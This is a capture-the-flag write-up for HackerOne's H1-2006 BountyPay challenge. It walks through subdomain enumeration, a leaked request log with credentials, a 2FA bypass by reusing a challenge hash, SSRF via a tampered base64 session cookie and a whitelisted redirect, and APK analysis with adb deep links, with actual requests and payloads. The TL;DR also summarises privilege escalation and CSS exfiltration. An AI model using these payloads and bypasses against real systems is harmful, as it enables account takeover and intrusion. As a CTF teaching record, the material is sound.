[H1-2006] CTF Writeup
Critical
Vulnerability Details
# H1-2006 CTF Writeup
I am fairly new to CTFs - this is just my second CTF after [H1-415 CTF](https://twitter.com/Hacker0x01/status/1217561343986782209), at which I didn't get far at all. I think the most valuable thing I can do for anyone who comes across this writeup, is to describe exactly what I was thinking at each step along the way, including all my failures and dead ends. I personally always find those parts the most valuable in any bug report or writeup that I read.
---------------------------------------
# TL;DR
**For those impatient, here is a condensed walk-through of the CTF. If you're here after the long writeup, you can safely skip this part.**.
1. Subdomain enumeration yields several subdomains: `app.bountypay.h1ctf.com` (customer portal with username/password login), `staff.bountypay.h1ctf.com` (staff portal with username/password login), `api.bountypay.h1ctf.com`, `software.bountypay.h1ctf.com`(denies access from public IPs).
2. Content discovery on `app.bountypay.h1ctf.com` reveals `/.git/config` which references GitHub repo at [https://github.com/bounty-pay-code/request-logger.git](https://github.com/bounty-pay-code/request-logger.git)
3. Source code in the repo exposes the presence of [`/bp_web_trace.log`](http://app.bountypay.h1ctf.com/bp_web_trace.log) file, which gives us three things:
* Log file gives us `username` and `password` for authentication on the customer portal, `app.bountypay.h1ctf.com`. Using these credentials we're presented with 2FA challenge. On every access It gives us a random `challenge` (md5 hash) that we need to guess a valid `challenge_answer` for.
* Log file also gives us a `challenge_answer` (for the past login attempt), but no `challenge` itself. The solution is that `challenge` is simply an md5 hash of the `challenge_answer`, and there is nothing preventing the re-use of the old challenge, so we compute md5 hash of that `challenge_answer` and use this pair to login.
* Last thing the log file gives us is the following endpoint: `GET /statements?month=04&year=2020`
4. Authentication cookie is base64-encoded JSON such as `{"account_id":"F8gHiqSdpK","hash":"de235bffd23df6995ad4e0930baac1a2"}`, where `hash` is the actual session, while `account_id` can be freely tampered with.
5. The `/statements` endpoint above reveals that it makes a server-side request to `https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/statements?month=04&year=2020`. When accessed directly, the API endpoint responds with 401 `["Missing or invalid Token"]`. Observe the same account id value, `F8gHiqSdpK`, within the request path- which is in fact taken from `account_id` of the session cookie and interpolated into request path without any sanitization. By changing `account_id` within our authentication cookie we can thus achieve SSRF via Path Traversal - but for now only on same host.
6. Front page on `api.bountypay.h1ctf.com` reveals an endpoint that allows a redirect: `https://api.bountypay.h1ctf.com/redirect?url=https://www.google.com/search?q=REST+API`. It uses a whitelist and does not appear to allow an Open Redirect, but several BountyPay subdomains are whitelisted, including `software.bountypay.h1ctf.com`.
7. Content discovery on `software.bountypay.h1ctf.com` via SSRF with the aforementioned redirect (which bypasses IP restriction) reveals `/uploads` folder with Directory Listing enabled. The only file within it, [`BountyPay.apk`](http://software.bountypay.h1ctf.com/uploads/BountyPay.apk), can be downloaded directly from a public IP.
8. APK interacts with a Firebase instance and presents a series of screens that eventually lead to obtaining a header name (`X-Token`), a header value (`8e9998ee3137ca9ade8f372739f062c1`) and a host name (`api.bountypay.h1ctf.com`). One way those could be obtained is by decompiling the code and following the designed challenges, which involve sending [deep links](https://developer.android.com/training/app-links/deep-linking) to the app. The data of interest could either be intercepted with a proxy, or retrieved from `/shared_prefs/user_created.xml` with `adb`. Or alternatively one could also have interacted with Firebase directly, using the credentials that are located in `res/values/strings.xml`.
9. `X-Token: 8e9998ee3137ca9ade8f372739f062c1` allows us to make API calls directly on `api.bountypay.h1ctf.com` without SSRF - including `POST` calls that we could not do before. Content discovery on the `/api` directory reveals `/api/staff` endpoint.
* `GET` request returns some JSON data for a couple of staff members, which includes `staff_id`field with values like `STF:KE624RQ2T9`.
* `POST` request returns `["Missing Parameter"]` message. The parameter it wants is `staff_id`, and for the valid staff ids it gives `HTTP/1.1 409 Conflict` with message ` ["Staff Member already has an account"]`. Response code hints at the fact that it could provision the new account if we give it a valid staff id who's account has not yet been set up - e.g. a new joiner.
10. [BountypayHQ](https://twitter.com/BountypayHQ) Twitter account has a tweet `Today we welcome Sandra to the team!!!`, which is the new joiner we're looking for. We can find [Sandra's](https://twitter.com/SandraA76708114) twitter account among either [following](https://twitter.com/BountypayHQ/following) or [followers](https://twitter.com/BountypayHQ/followers) lists for BountypayHQ, and in her timeline we see [this tweet](https://twitter.com/SandraA76708114/status/1258693001964068864) with a photo featuring her staff access card that shows her Staff ID: `STF:8FJ3KFISL3`.
11. Using this `staff_id` in a `POST` request to `/api/staff` provisions a new account, giving us `username` and `password` to access Staff portal at `staff.bountypay.h1ctf.com`.
12. After logging in with Sandra's credentials and inspecting available endpoints and JS source code, it becomes apparent that the goal of the next challenge is to upgrade her account to Admin. We can see the endpoint for this in JS code, `/admin/upgrade?username=`, but it can only be done by an admin user. We can "report" any page, which makes admin user visit it, but there is an exception that pages under `/admin` would not be visited. There are two separate vulnerabilities that need to be chained to achieve the desired result.
* Firstly, the trick is to notice that JS code uses very loose selectors (that are based on class only) to perform several actions: `$(".upgradeToAdmin").click` would issue the request to upgrade the account, and `"#tab4" === document.location.hash && $(".tab4").trigger("click")` allows us to force Admin to do the click on an element with `.tab4` class. Coincidentally, there is a feature to change avatar - which is a string used as a class name. Setting it to `upgradeToAdmin tab4` and reporting that page (`/?template=ticket&ticket_id=3582#tab4`) allows us to force Admin to make the API call.
* What remains is to make sure the above call is made with the correct username, which is taken from an input with name `username`: `let t = $('input[name="username"]').val();`. There is no such input on the page we're reporting (where we can control the class via avatar), `/?template=ticket&ticket_id=3582#tab4`, but there is one in the login page, `/?template=login?username=sandra.allison`. Since backend is PHP we can force `template` parameter to be an array with both `ticket` and `login` values - and luckily for us, a rather weird backend implementation renders both templates and appends them one after another in the response. We can thus piece it all together in a request such as `/?template[]=login&username=sandra.allison&template[]=ticket&ticket_id=3582#tab4` that we "report" to Admin and this concludes the Privilege Escalation step. In response we're given a new session cookie - when logged in with that cookie we can see a new tab with customer account usernames and clear-text passwords, including Mårten's credentials.
13. Back to Customer portal, `app.bountypay.h1ctf.com`, we login with new credentials and use same `challenge`/`challenge_answer`pair as before to bypass login 2FA. We now have access to the transactions that need to be processed, but there is one last challenge - it is protected by another 2FA. The task is to exfiltrate challenge answer (code) from a page rendered in the backend within Headless Chrome, and the only thing we know about that page, is that is takes a stylesheet from a URL that's under our control and likely embeds it in that page. It can indeed be verified that our stylesheet is embedded within a `<link rel="stylesheet">` tag with e.g. Burp Collaborator. Under this setup it's not actually possible to exfiltrate data using [recursive techniques](https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b) such as asynchronous `@import` loading - because imports within `<link>` (unlike `<style>`) are synchronous, and we only have a single injection point. Thankfully for us, the recursive import is not needed since we discover there are multiple inputs on the page - one for each code character. So the entire code can be exfiltrated directly using a bunch of selectors. With the exfiltrated code we complete 2FA verification and are finally presented with the Flag. That is the end of the CTF.
---------------------------------------
# Long Writeup
For those more patient, as promised in the beginning, here is a long writeup where I attempt to describe my process of thinking, including all failed attempts and dead ends.
As usual, the challenge starts with a [tweet](https://twitter.com/Hacker0x01/status/1266454022124376064):
{F861473}
## Reconnaissance
Looking at the `Scope` section of the CTF [Policy] (https://hackerone.com/h1-ctf?view_policy=true) page, we notice that the domain scope is a wildcard `*.bountypay.h1ctf.com`. An obvious first thing to do is thus to kick off a subdomain enumeration (and frankly one should do this anyway).
My go-to tool for subdomain enumeration from passive data sources is [Amass](https://github.com/OWASP/Amass). Although you should ideally set it up with all API keys to various data sources, a simple passive enumeration can be done with just:
```bash
$ amass enum --passive -d bountypay.h1ctf.com
```
> I recommend Amass only for passive enumeration. For bruteforcing you'd be better off using [Massdns](https://github.com/blechschmidt/massdns) with a carefully curated list of resolvers. For the reasons why, I highly recommend the excellent post [Subdomain Enumeration: 2019 Workflow](https://0xpatrik.com/subdomain-enumeration-2019/) by [Patrik Hudak](https://twitter.com/0xpatrik) - in fact his entire blog is worth a careful read.
This enumeration yielded several subdomains:
```plain
app.bountypay.h1ctf.com
staff.bountypay.h1ctf.com
api.bountypay.h1ctf.com
www.bountypay.h1ctf.com
software.bountypay.h1ctf.com
```
Following my normal bug hunting routine I then tried to brute-force for more subdomains using [Massdns](https://github.com/blechschmidt/massdns) with [commonspeak2](https://github.com/assetnote/commonspeak2-wordlists/blob/master/subdomains/subdomains.txt) wordlist, as well as using alterations on existing names with [dnsgen](https://github.com/ProjectAnte/dnsgen), but this did not yield any new results.
Next, I kicked off content discovery on each subdomain. In this instance I've simply used Burp (`Engagement tools`->`Discover content`), though I can also highly recommend using [ffuf](https://github.com/ffuf/ffuf) for this with a good wordlist.
While this was running, I manually reviewed each subdomain - HTML and JS code. First observations:
* `app` and `staff` subdomains require username/password authentication. I've tried a few naive things (like empty password, admin:admin etc) but nothing worked.
* `software` subdomain appears to restrict access from public IPs: `You do not have permission to access this server from your IP Address`. Simple things like adding `X-Forwarded-For` or `X-Client-IP`pointing to localhost or other private addresses did not change anything. It is likely that we're going to need to find SSRF to interact with it.
* `api` subdomain has an interesting redirect in its home page: `https://api.bountypay.h1ctf.com/redirect?url=https://www.google.com/search?q=REST+API`. Changing target host to something else, like `example.com`, returns `URL NOT FOUND IN WHITELIST`. My first thought was that the whitelist check could be flawed and it could be vulnerable to an Open Redirect (which might prove useful later, such as e.g. for SSRF) but no trick I could think of worked and it seemed pretty secure (I even tried CRLF injection, also no luck). So if it's a whitelist - then what else could be whitelisted? The obvious thing to try were the other subdomains - and it turns out `software` and `staff` are indeed whitelisted. For now let's just take a note of it, as it might be useful for SSRF - especially to access `software` subdomain which is otherwise restricted by IP.
Checking the content discovery results, I've found the first lead - exposed `/.git/` folder on the `app` subdomain, referencing a GitHub repository:
> Note: In all HTTP requests/responses within this writeup, only the most relevant headers are shown for brevity.
```http
GET /.git/config HTTP/1.1
Host: app.bountypay.h1ctf.com
```
```http
HTTP/1.1 200 OK
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = https://github.com/bounty-pay-code/request-logger.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
```
It was slightly weird that nearly all other files that are normally present were not there. but that's just part of the CTF. Nevertheless I did try to exfiltrate the content of the repo with [gitdumper.sh](https://github.com/internetwache/GitTools/blob/master/Dumper/gitdumper.sh):
```bash
$ ./gitdumper.sh https://app.bountypay.h1ctf.com/.git/ ./output/
```
but that didn't yield anything new.
Ok, so all we need from this is the GitHub repo itself. I've checked this repo (including commit history) and the parent organization, but the only valuable piece of information was [logger.php](https://github.com/bounty-pay-code/request-logger/blob/master/logger.php) file:
```php
<?php
$data = array(
'IP' => $_SERVER["REMOTE_ADDR"],
'URI' => $_SERVER["REQUEST_URI"],
'METHOD' => $_SERVER["REQUEST_METHOD"],
'PARAMS' => array(
'GET' => $_GET,
'POST' => $_POST
)
);
file_put_contents('bp_web_trace.log', date("U").':'.base64_encode(json_encode($data))."\n",FILE_APPEND );
```
My first thought was the access `/logger.php` endpoint, but that didn't exist. I then tried accessing `/bp_web_trace.log` and that worked!
```http
GET /bp_web_trace.log HTTP/1.1
Host: app.bountypay.h1ctf.com
```
```http
HTTP/1.1 200 OK
1588931909:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJHRVQiLCJQQVJBTVMiOnsiR0VUIjpbXSwiUE9TVCI6W119fQ==
1588931919:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIn19fQ==
1588931928:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIiwiY2hhbGxlbmdlX2Fuc3dlciI6ImJEODNKazI3ZFEifX19
1588931945:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC9zdGF0ZW1lbnRzIiwiTUVUSE9EIjoiR0VUIiwiUEFSQU1TIjp7IkdFVCI6eyJtb250aCI6IjA0IiwieWVhciI6IjIwMjAifSwiUE9TVCI6W119fQ==
```
I also tried checking both `/logger.php` and `/bp_web_trace.log`on the other subdomains, just in case similar code was deployed there as well, but that didn't work.
Decoding the base64-encoded log entries gives us:
```json
{"IP":"192.168.1.1","URI":"\/","METHOD":"GET","PARAMS":{"GET":[],"POST":[]}}
{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX"}}}
{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX","challenge_answer":"bD83Jk27dQ"}}}
{"IP":"192.168.1.1","URI":"\/statements","METHOD":"GET","PARAMS":{"GET":{"month":"04","year":"2020"},"POST":[]}}
```
Ok, so we have a username and password (and also something called `challenge_answer`).
## Login 2FA Bypass
When we try to login using these credentials, we're presented with a 2FA challenge:
```http
POST / HTTP/1.1
Host: app.bountypay.h1ctf.com
username=brian.oliver&password=V7h0inzX
```
```html
<form method="post" action="/">
<input type="hidden" name="username" value="brian.oliver">
<input type="hidden" name="password" value="V7h0inzX">
<input type="hidden" name="challenge" value="8de5d288e39ef1beaa3833100a14aa47">
<div class="panel panel-default" style="margin-top:50px">
<div class="panel-heading">Login</div>
<div class="panel-body">
<div style="margin-top:7px"><label>For Security we've sent a 10 character password to your mobile phone, please enter it below</label></div>
<div style="margin-top:7px"><label>Password contains characters between A-Z , a-z and 0-9</label></div>
<div><input name="challenge_answer" class="form-control"></div>
</div>
</div>
<input type="submit" class="btn btn-success pull-right" value="Login">
</form>
```
So we have a `challenge` parameter that looks like an MD5 hash (unique for every new request) that we need to find the valid `challenge_answer` for. Recall that we saw `challenge_answer` from Brian's authentication already in the log. Odd part there was that the log contained `challenge_answer` and not `challenge` - but that must have been done on purpose. It most likely means that the `challenge` and `challenge_answer` could be re-used, so `challenge` was removed it would otherwise be too easy. So maybe instead of trying to find `challenge_answer` for the new `challenge` hash that we're given, we should find `challenge` for that `challenge_answer` submitted by Brian?
So it's clearly an MD5 hash of something. It is also unique on each page reload, so there must be something unique about the string being hashed. That rules out the most obvious things like `username` etc. If it was really sufficiently random then we could never break it, so let's stay positive and assume that it's a unique thing - but something that we actually know. The only such thing that we have is actually the `challenge_answer` itself! I can't say this part of the CTF was "obvious" (and it did take me half an hour or so), but it was still a very logical conclusion if you carefully think it through.
And indeed, taking MD5 hash of `bD83Jk27dQ` and submitting that as the `challenge`bypasses the 2FA:
```http
POST / HTTP/1.1
Host: app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
username=brian.oliver&password=V7h0inzX&challenge=5828c689761cce705a1c84d9b1a1ed5e&challenge_answer=bD83Jk27dQ
```
```http
HTTP/1.1 302 Found
Set-Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9; expires=Mon, 29-Jun-2020 23:36:42 GMT; Max-Age=2592000
Location: /
```
## SSRF
First thing we notice is that the session cookie is base64-encoded JSON. When decoded, it is:
```
{"account_id":"F8gHiqSdpK","hash":"de235bffd23df6995ad4e0930baac1a2"}
```
It's very interesting and unusual to see a parameter like `account_id` here, so let's take note of that.
Another piece of information we have now is the javascript file [app.js](https://app.bountypay.h1ctf.com/js/app.js). It references the following endpoint: `<a href="/pay/' + s.id + "/" + s.hash`, but upon trying to access something like `/pay/1/1` we get `page not found!` response. It clearly needs some valid `id` and `hash` values that we do not have at this stage. Judging from the code, it looks like that endpoint could be used to make the payment to hackers, which is the storyline of this CTF, so it'll likely be needed towards the end of the CTF.
The only other endpoint we can access, is the one that fetches statements:
```http
GET /statements?month=04&year=2020 HTTP/1.1
Host: app.bountypay.h1ctf.com
Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9
```
```http
HTTP/1.1 200 OK
Content-Type: application/json
{"url":"https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/F8gHiqSdpK\/statements?month=04&year=2020","data":"{\"description\":\"Transactions for 2020-04\",\"transactions\":[]}"}
```
Just in case, I've tried to check a range of other year/month combinations (using `Cluster bomb`Attack type within Burp's Intruder) but none returned any valid transactions.
Looking at the response, it is clear the endpoint performs a server-side request to retrieve the data (and it also must have a valid token to authenticate with `api` subdomain). Somewhat unusually, it even shows us the full URL! This smells a lot like SSRF. First thing I've tried was fiddling with `month` and `year` parameters but it didn't yield anything interesting (and even if it did, it wouldn't be of much value as they are in query string, so we couldn't even do path traversal with that). What else can we control within this API request? It must be the account id that we saw in our session cookie before.. there's simply nothing else.
And indeed that worked. Let's try e.g. adding a `#` after the value: `{"account_id":"F8gHiqSdpK#","hash":"de235bffd23df6995ad4e0930baac1a2"}` (base64-encode it and use it as the cookie):
```http
GET /statements?month=05&year=2020 HTTP/1.1
Host: app.bountypay.h1ctf.com
Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyMiLCJoYXNoIjoiZGUyMzViZmZkMjNkZjY5OTVhZDRlMDkzMGJhYWMxYTIifQ==
```
```http
HTTP/1.1 200 OK
Content-Type: application/json
{"url":"https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/F8gHiqSdpK#\/statements?month=05&year=2020","data":"{\"account_id\":\"F8gHiqSdpK\",\"owner\":\"Mr Brian Oliver\",\"company\":\"BountyPay Demo \"}"}
```
We even found another endpoint and got some data back for Brian, but it doesn't seem to be particularly useful. Recall now that we have a `software` subdomain which looked like an obvious target for SSRF. But we can only do Path Traversal so far. This is where we clearly need to chain Path Traversal with a redirect to access `software` subdomain. Our payload (decoded session cookie) thus becomes: `{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/#","hash":"de235bffd23df6995ad4e0930baac1a2"}`
```http
GET /statements?month=05&year=2020 HTTP/1.1
Host: app.bountypay.h1ctf.com
Cookie: token=eyJhY2NvdW50X2lkIjoiLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS8jIiwiaGFzaCI6ImRlMjM1YmZmZDIzZGY2OTk1YWQ0ZTA5MzBiYWFjMWEyIn0=
```
This presents us with a login panel. Extracting HTML from JSON response and prettifying it gives us:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Software Storage</title>
<link href="/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container">
<div class="row">
<div class="col-sm-6 col-sm-offset-3">
<h1 style="text-align: center">Software Storage</h1>
<form method="post" action="/">
<div class="panel panel-default" style="margin-top:50px">
<div class="panel-heading">Login</div>
<div class="panel-body">
<div style="margin-top:7px"><label>Username:</label></div>
<div><input name="username" class="form-control"></div>
<div style="margin-top:7px"><label>Password:</label></div>
<div><input name="password" type="password" class="form-control"></div>
</div>
</div>
<input type="submit" class="btn btn-success pull-right" value="Login">
</form>
</div>
</div>
</div>
<script src="/js/jquery.min.js"></script>
<script src="/js/bootstrap.min.js"></script>
</body>
</html>
```
There isn't much we can do with it since SSRF only allows us to do `GET` requests and not `POST`. What else? As usual, content discovery. This one is a little bit more tricky to setup since the payload is base64-encoded, but it can still be easily done in Burp. We need to set the whole session cookie value as the target, and add 3 `Payload Processing` rules:
1. "Add prefix" with value `{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/`
2. "Add suffix" with value `#","hash":"de235bffd23df6995ad4e0930baac1a2"}` (the part between them will be our actual payload for content discovery)
3. "Encode" -> "Base64-encode"
{F861592}
I've used a fairly simple wordlist and got a hit pretty quickly - there is an `/uploads` endpoint with Directory Listing enabled. In hindsight, that could have been guessed pretty easily even without bruteforcing.
```http
GET /statements?month=05&year=2020 HTTP/1.1
Host: app.bountypay.h1ctf.com
Cookie: token=eyJhY2NvdW50X2lkIjoiLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS91cGxvYWRzLyMiLCJoYXNoIjoiZGUyMzViZmZkMjNkZjY5OTVhZDRlMDkzMGJhYWMxYTIifQ==
```
HTML code extracted from JSON response is:
```html
<html>
<head><title>Index of /uploads/</title></head>
<body bgcolor="white">
<h1>Index of /uploads/</h1><hr><pre><a href="../">../</a>
<a href="/uploads/BountyPay.apk">BountyPay.apk</a> 20-Apr-2020 11:26 4043701
</pre><hr></body>
</html>
```
Not sure why, but I then tried to access APK via SSRF. It didn't work - which is consistent with the behaviour I observed for this SSRF where responses with certain content-types were not forwarded back to us. I then tried to access the APK [directly](http://software.bountypay.h1ctf.com/uploads/BountyPay.apk), and sure enough it worked.
## Android
While one could start by grepping strings from an APK, I usually go straight to decompiling the Java code. For this I use [dex2jar](https://github.com/pxb1988/dex2jar) with a command like:
```bash
$ ./d2j-dex2jar.sh -f -o ./../h1-ctf/jar/BountyPay.jar ./../h1-ctf/BountyPay.apk
```
It produces a JAR file which you can then open in [JD-GUI](http://java-decompiler.github.io/). While you can browse the source code directly in JD-GUI, I much prefer JetBrains IDEs. You can export all decompiled code via "Save all sources" menu option, unzip the archive and use in in e.g. [IntelliJ IDEA](https://www.jetbrains.com/idea/).
I then read all relevant parts of the source code (there isn't much, if you ignore all the standard android stuff) and it was fairly clear that the app interacts with a Firebase database and attempts to get your through 3 stages, at the end of which you should have some values for Header, Token and Host from that database.
Credentials to access Firebase could be found in `res/values/strings.xml`:
```xml
<string name="firebase_database_url">https://bountypay-90f64.firebaseio.com</string>
<string name="gcm_defaultSenderId">467982724703</string>
<string name="google_api_key">AIzaSyAyr601_-ElsasDnhGORBykg0ZTDaOxFeo</string>
<string name="google_app_id">1:467982724703:android:4428e053082d32ce84b5ea</string>
<string name="google_crash_reporting_api_key">AIzaSyAyr601_-ElsasDnhGORBykg0ZTDaOxFeo</string>
<string name="google_storage_bucket">bountypay-90f64.appspot.com</string>
```
I quickly checked for some common misconfigurations, such as whether Firebase was publicly readable by accessing https://bountypay-90f64.firebaseio.com/.json, but it seemed that access controls were properly configured.
I knew I then had two routes - either to understand the code well enough to talk to a database directly and extract the needed data (and maybe write a small script for it) or to try and follow through the app exactly as it was designed. Former would have probably been quicker, but the latter seemed more interesting - so I went ahead and installed APK on an emulator.
There are different technologies you could use here. I'm not an expert in Android, but given how generally awesome IntelliJ platform is, the obvious choice for me was to use [Android Studio](https://developer.android.com/studio/).
Running emulator is fairly straight-forward, and is described in these guides:
* https://developer.android.com/studio/run/emulator
* https://developer.android.com/studio/run/managing-avds
The steps I've taken to set up my environment were as follows:
1. Open Android Studio, select "debug APK" and point to APK file.
2. Install Android SDK, if not already
3. Create new device within AVD and start it
I've also set up traffic proxying through Burp:
1. Configure proxy in the Emulator's settings as described [here](https://developer.android.com/studio/run/emulator-networking).
2. Install Burp's CA certificate on the device. You can follow Burp guide [here](https://portswigger.net/support/installing-burp-suites-ca-certificate-in-an-android-device) but I find it easier to push the certificate to device's SD card using `adb` (as opposed to sending it via email):
```bash
$ adb push cacert.cer /mnt/sdcard
```
### Android | PartOneActivity
Now that everything is set up we can launch the app. First it just asks us for our username and (optional) twitter handle. On the next screen, nothing seems to happen, and the clues at the bottom say "deep links" and "params":
{F862914}
Going back to our Java source code, within `PartOneActivity.java`, we see:
```java
if (getIntent() != null && getIntent().getData() != null) {
String str = getIntent().getData().getQueryParameter("start");
if (str != null && str.equals("PartTwoActivity") && sharedPreferences.contains("USERNAME")) {
str = sharedPreferences.getString("USERNAME", "");
SharedPreferences.Editor editor = sharedPreferences.edit();
String str1 = sharedPreferences.getString("TWITTERHANDLE", "");
editor.putString("PARTONE", "COMPLETE").apply();
logFlagFound(str, str1);
startActivity(new Intent((Context)this, PartTwoActivity.class));
}
}
```
Not having developed for Android ever before, it wasn't completely obvious what this is doing until I googled for `getIntent()` and deep links. The official guide on [Deep Links](https://developer.android.com/training/app-links/deep-linking) explains it all very well. In particular, [Test your deep links](https://developer.android.com/training/app-links/deep-linking#testing-filters) section is exactly what we're after since it allows us to send a deep link to the app via `adb`.
We can see the intents that the app has defined within `AndroidManifest.xml`:
```xml
<activity android:label="@string/title_activity_part_one" android:name="bounty.pay.PartOneActivity" android:theme="@style/AppTheme.NoActionBar">
<intent-filter android:label="">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:host="part" android:scheme="one"/>
</intent-filter>
</activity>
```
The key part here is `<data android:host="part" android:scheme="one"/>` which gives us the scheme and host to use in the URL, as well as `<action android:name="android.intent.action.VIEW"/>` which is the intent name. From Java source code we see that it wants URl to have a `start` query string parameter, equal to `PartTwoActivity`, so the command we run in `adb` is:
```bash
$ adb shell am start -W -a android.intent.action.VIEW -d "one://part/?start=PartTwoActivity" bounty.pay
Starting: Intent { act=android.intent.action.VIEW dat=one://part/?start=PartTwoActivity pkg=bounty.pay }
Status: ok
Activity: bounty.pay/.PartOneActivity
ThisTime: 883
TotalTime: 883
WaitTime: 893
Complete
```
### Android | PartTwoActivity
This moves us to the next screen, where the hints are `currently invisible` and `visible with the right params`, and nothing further visible on screen.
Looking at the java source code for `PartTwoActivity.java` we see:
```java
if (getIntent() != null && getIntent().getData() != null) {
Uri uri = getIntent().getData();
String str1 = uri.getQueryParameter("two");
String str2 = uri.getQueryParameter("switch");
if (str1 != null && str1.equals("light") && str2 != null && str2.equals("on")) {
editText.setVisibility(0);
button.setVisibility(0);
textView.setVisibility(0);
}
}
```
and the corresponding intent defined within `AndroidManifest.xml`:
```xml
<activity android:label="@string/title_activity_part_two" android:name="bounty.pay.PartTwoActivity" android:theme="@style/AppTheme.NoActionBar">
<intent-filter android:label="">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:host="part" android:scheme="two"/>
</intent-filter>
</activity>
```
So similar to the first step I crafted the following deep link and sent it to the app:
```bash
$ adb shell am start -W -a android.intent.action.VIEW -d "two://part/?two=light&switch=on" bounty.pay
/system/bin/sh: bounty.pay: not found
Starting: Intent { act=android.intent.action.VIEW dat=two://part/?two=light }
Status: ok
Activity: bounty.pay/.PartTwoActivity
ThisTime: 368
TotalTime: 368
WaitTime: 384
Complete
```
Which failed... you can see it only sent first parameter, and also there was an error that a package was not found. It was easy enough to find the [answer](https://stackoverflow.com/a/35645448/5540279) on stackoverflow, and the issue was that `&` needs to be escaped with `\` (or alternatively one could wrap the shell command in single quotes):
```bash
$ adb shell am start -W -a android.intent.action.VIEW -d "two://part/?two=light\&switch=on" bounty.pay
Starting: Intent { act=android.intent.action.VIEW dat=two://part/?two=light&switch=on pkg=bounty.pay }
Status: ok
Activity: bounty.pay/.PartTwoActivity
ThisTime: 241
TotalTime: 241
WaitTime: 258
Complete
```
We're now presented with an input field where we need to guess a Header value, which would be checked against Firebase:
{F862915}
Since I already read the entire source code I knew the answer for it. Within `PartThreeActivity.java` we see the following line:
```java
byte[] decodedDirectoryTwo = Base64.decode("WC1Ub2tlbg==", 0);
```
When decoded, this value is `X-Token`, and that's exactly the header value we need to enter. You can also see an MD5 hash on the screen, `459a6f79ad9b13cbcb5f692d2cc7a94d`. Googling this value tells us that this is the hash for the word `Token`. It was hinting at the fact that the Header of interest is `X-Token`.
When I tried it, it didn't work. Checking the process log within Android Studio, I saw:
```
Caused by: javax.net.ssl.SSLHandshakeException: java.security.cert.CertPathValidatorException: Trust anchor for certification path not found.
```
This was clearly caused by intercepting traffic with Burp proxy. I simply turned off the proxy and it worked. There surely must have been a way to resolve certificate issues, but intercepting traffic wasn't necessary at all for this challenge, so I went with the easy route. With that issue resolved, submitting`X-Token` as the Header value moves us to the next activity:
### Android | PartThreeActivity
We again see the blank screen with hints: `Reuse some params.` and `Intercept or check for leaks.`
Based on the java code, at the start of this activity the app should have authenticated anonymously with Firebase and fetched the values for Token and Host and saved them to a local preferences file:
```java
Handler handler = new Handler();
handler.postDelayed(new Runnable() {
public void run() {
Log.i("TAG", "Starting authentication");
PartThreeActivity.this.signIn();
}
}10000L);
handler.postDelayed(new Runnable() {
public void run() {
Log.i("TAG", "Getting host endpoint");
PartThreeActivity.this.getHost();
}
}20000L);
handler.postDelayed(new Runnable() {
public void run() {
Log.i("TAG", "Getting Token");
PartThreeActivity.this.getToken();
}
}20000L);
```
```java
private void signIn() {
this.mAuth = FirebaseAuth.getInstance();
this.mAuth.signInAnonymously().addOnCompleteListener((Activity)this, new OnCompleteListener<AuthResult>() {
public void onComplete(Task<AuthResult> param1Task) {
if (param1Task.isSuccessful()) {
Log.d("TAG", "signInAnonymously:success");
PartThreeActivity.this.mAuth.getCurrentUser();
return;
}
Log.w("TAG", "signInAnonymously:failure", param1Task.getException());
Toast.makeText((Context)PartThreeActivity.this, "Authentication failed.", 0).show();
}
});
}
private void getHost() {
final SharedPreferences.Editor editor = getSharedPreferences("user_created", 0).edit();
this.childRef.addListenerForSingleValueEvent(new ValueEventListener() {
public void onCancelled(DatabaseError param1DatabaseError) {
Log.e("TAG", "onCancelled", (Throwable)param1DatabaseError.toException());
}
public void onDataChange(DataSnapshot param1DataSnapshot) {
String str = (String)param1DataSnapshot.getValue();
editor.putString("HOST", str).apply();
}
});
}
private void getToken() {
